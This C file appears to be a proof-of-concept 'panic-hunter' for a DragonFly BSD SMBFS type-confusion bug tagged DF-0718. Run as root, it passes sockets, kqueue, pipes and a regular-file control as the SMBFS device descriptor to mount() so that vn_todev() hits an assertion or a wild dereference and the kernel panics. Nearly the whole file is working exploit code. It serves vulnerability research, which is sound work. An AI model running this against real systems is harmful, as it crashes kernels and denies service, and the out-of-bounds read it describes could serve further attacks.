DF-0718 / hunter.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * DF-0718 panic-hunter — tries many fd shapes to land VBLK(3)/VCHR(4) at the * v_type offset (0xe8=232) inside the type-confused f_data, which makes * vn_todev() either KKASSERT(vp->v_rdev!=NULL) or wild-deref SMB_GETDEV(). * * Each sub-test calls mount(SMBFS) once. If the kernel panics on any of them, * the guest dies mid-test (the panic is captured in dfbsd-qemu/boot.log). * * Run as root. Each invocation does several mount() attempts in sequence; * if a panic occurs the process won't print the "ALL DONE" line. */ #include <sys/param.h> #include <sys/mount.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/fcntl.h> #include <netinet/in.h> #include <arpa/inet.h> #include <vfs/smbfs/smbfs.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static const char mountpoint[] = "/mnt/df0718"; static void tryone(const char *tag, int fd) { struct smbfs_args m; int rv; memset(&m, 0, sizeof(m)); m.version = SMBFS_VERSION; m.dev = fd; strlcpy(m.mount_point, mountpoint, sizeof(m.mount_point)); m.uid = m.gid = 0; m.file_mode = 0644; m.dir_mode = 0755; errno = 0; rv = mount(SMBFS_VFSNAME, m.mount_point, 0, &m); printf("[%-32s] fd=%d rv=%d errno=%d (%s)\n", tag, fd, rv, errno, strerror(errno)); fflush(stdout); } int main(void) { mkdir(mountpoint, 0755); /* 1. bare AF_INET stream socket */ tryone("inet stream", socket(AF_INET, SOCK_STREAM, 0)); /* 2. AF_INET DGRAM (so_type=2) */ tryone("inet dgram", socket(AF_INET, SOCK_DGRAM, 0)); /* 3. AF_INET RAW (so_type=3 == VBLK numeric!) */ tryone("inet raw", socket(AF_INET, SOCK_RAW, 0)); /* 4. socketpair unix stream (both ends rw) */ { int sp[2]; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp)==0) { tryone("unix streampair", sp[0]); close(sp[1]); } } /* 5. socketpair unix dgram */ { int sp[2]; if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sp)==0) { tryone("unix dgrampair", sp[0]); close(sp[1]); } } /* 6. kqueue (96-byte obj; offset 232 is OOB read into adjacent slab) */ tryone("kqueue", kqueue()); /* 7. pipe with data written (bufferB populated) */ { int p[2]; if (pipe(p)==0) { char buf[4096]; memset(buf,'A',sizeof(buf)); write(p[1], buf, sizeof(buf)); tryone("pipe-w-data-rdend", p[0]); tryone("pipe-w-data-wrend", p[1]); close(p[0]); close(p[1]); } } /* 8. AF_INET socket bound+listening (populates so_comp/so_state) */ { int s = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in sin; memset(&sin,0,sizeof(sin)); sin.sin_len=sizeof(sin); sin.sin_family=AF_INET; sin.sin_port=htons(0); if (bind(s,(struct sockaddr*)&sin,sizeof(sin))==0) listen(s,5); tryone("inet bound+listen", s); close(s); } /* 9. connected unix socketpair with data in flight */ { int sp[2]; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp)==0) { char buf[8192]; memset(buf,'B',sizeof(buf)); write(sp[0], buf, sizeof(buf)); /* fill so_snd of sp[0] */ tryone("unixpair-full-snd", sp[0]); close(sp[0]); close(sp[1]); } } /* 10. regular file (vnode VREG, control: no type confusion) */ { int f = open("/etc/rc", O_RDONLY); tryone("regular-file-vnode", f); close(f); } printf("\nALL DONE — kernel survived all attempts\n"); return 0; } |